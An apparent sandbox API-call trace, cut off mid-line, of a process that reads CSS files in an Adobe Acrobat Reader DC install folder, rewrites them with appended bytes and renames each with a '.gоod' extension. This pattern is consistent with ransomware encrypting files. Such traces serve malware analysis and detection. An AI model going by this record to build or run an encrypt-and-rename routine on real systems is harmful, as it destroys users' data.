[0099.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0099.188] GetFileType (hFile=0x6e0) returned 0x1 [0099.188] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x9ea [0099.188] ReadFile (in: hFile=0x6e0, lpBuffer=0x347c918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x347c918*, lpNumberOfBytesRead=0x1fdec3e8*=0x9ea, lpOverlapped=0x0) returned 1 [0099.249] CloseHandle (hObject=0x6e0) returned 1 [0099.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", lpFilePart=0x0) returned 0x68 [0099.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0099.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0099.281] GetFileType (hFile=0x6e0) returned 0x1 [0099.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0099.281] GetFileType (hFile=0x6e0) returned 0x1 [0099.281] WriteFile (in: hFile=0x6e0, lpBuffer=0x35ab7a8*, nNumberOfBytesToWrite=0x9f0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x35ab7a8*, lpNumberOfBytesWritten=0x1fdec2f8*=0x9f0, lpOverlapped=0x0) returned 1 [0099.282] CloseHandle (hObject=0x6e0) returned 1 [0099.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css", lpFilePart=0x0) returned 0x68 [0099.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css.gоod", lpFilePart=0x0) returned 0x6d [0099.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0099.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3762f993, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9f0)) returned 1 [0099.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0099.283] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-mac.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-mac.css.gоod")) returned 1 [0099.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", lpFilePart=0x0) returned 0x6d [0099.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0099.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css"), fInfoLevelId=0x0, lpFileInformation=0x35acb10 | out: lpFileInformation=0x35acb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3)) returned 1 [0099.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0099.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", lpFilePart=0x0) returned 0x6d [0099.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0099.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.774] GetFileType (hFile=0x768) returned 0x1 [0099.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0099.774] GetFileType (hFile=0x768) returned 0x1 [0099.774] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x9d3 [0099.774] ReadFile (in: hFile=0x768, lpBuffer=0x33d6560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x33d6560*, lpNumberOfBytesRead=0x1fdec3e8*=0x9d3, lpOverlapped=0x0) returned 1 [0099.797] CloseHandle (hObject=0x768) returned 1 [0099.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", lpFilePart=0x0) returned 0x6d [0099.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0099.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0099.939] GetFileType (hFile=0x7b4) returned 0x1 [0099.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0099.939] GetFileType (hFile=0x7b4) returned 0x1 [0100.733] WriteFile (in: hFile=0x7b4, lpBuffer=0x3577d90*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3577d90*, lpNumberOfBytesWritten=0x1fdec2f8*=0x9e0, lpOverlapped=0x0) returned 1 [0100.735] CloseHandle (hObject=0x7b4) returned 1 [0100.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css", lpFilePart=0x0) returned 0x6d [0100.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css.gоod", lpFilePart=0x0) returned 0x72 [0100.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0100.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x38425c10, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9e0)) returned 1 [0100.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0100.735] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-ui-theme.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-ui-theme.css.gоod")) returned 1 [0100.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0100.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), fInfoLevelId=0x0, lpFileInformation=0x3579110 | out: lpFileInformation=0x3579110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a)) returned 1 [0100.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0100.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0100.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0100.736] GetFileType (hFile=0x7b4) returned 0x1 [0100.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0100.736] GetFileType (hFile=0x7b4) returned 0x1 [0100.736] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0100.737] ReadFile (in: hFile=0x7b4, lpBuffer=0x35795c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x35795c8*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0100.745] CloseHandle (hObject=0x7b4) returned 1 [0100.745] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0100.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0100.745] GetFileType (hFile=0x7b4) returned 0x1 [0100.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0100.745] GetFileType (hFile=0x7b4) returned 0x1 [0100.745] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x263a [0100.746] WriteFile (in: hFile=0x7b4, lpBuffer=0x357b9e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x357b9e0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0100.747] CloseHandle (hObject=0x7b4) returned 1 [0100.747] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0100.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0100.747] GetFileType (hFile=0x7b4) returned 0x1 [0100.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0100.747] GetFileType (hFile=0x7b4) returned 0x1 [0100.747] ReadFile (in: hFile=0x7b4, lpBuffer=0x357dcf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x357dcf0*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0100.778] CloseHandle (hObject=0x7b4) returned 1 [0100.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0100.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0100.779] GetFileType (hFile=0x7b4) returned 0x1 [0100.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0100.779] GetFileType (hFile=0x7b4) returned 0x1 [0100.779] WriteFile (in: hFile=0x7b4, lpBuffer=0x357c9f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x357c9f8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0100.779] CloseHandle (hObject=0x7b4) returned 1 [0100.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css", lpFilePart=0x0) returned 0x68 [0100.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css.gоod", lpFilePart=0x0) returned 0x6d [0100.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0100.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x38472370, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x264a)) returned 1 [0100.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0100.779] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win.css.gоod")) returned 1 [0101.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0101.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), fInfoLevelId=0x0, lpFileInformation=0x341b9b8 | out: lpFileInformation=0x341b9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169)) returned 1 [0101.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0101.425] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0101.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.457] GetFileType (hFile=0x20c) returned 0x1 [0101.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0101.457] GetFileType (hFile=0x20c) returned 0x1 [0101.457] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0101.457] ReadFile (in: hFile=0x20c, lpBuffer=0x349bc70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x349bc70*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0101.459] CloseHandle (hObject=0x20c) returned 1 [0101.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0101.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.459] GetFileType (hFile=0x20c) returned 0x1 [0101.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0101.459] GetFileType (hFile=0x20c) returned 0x1 [0101.459] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x2169 [0101.459] WriteFile (in: hFile=0x20c, lpBuffer=0x349e748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x349e748*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0101.460] CloseHandle (hObject=0x20c) returned 1 [0101.460] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", lpFilePart=0x0) returned 0x69 [0101.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0101.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\main-cef-win8.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0101.460] GetFileType (hFile=0x20c) returned 0x1 [0101.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0101.460] GetFileType (hFile=0x20c) returned 0x1 [0101.461] ReadFile (in: hFile=0x20c, lpBuffer=0x34a32c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34a32c8*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0101.496] CloseHandle (hObject=0x20c) returned 1 [0101.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\main-cef-win8.css", nBufferLength=0x105, lpBuffer=0x1fdebe40, 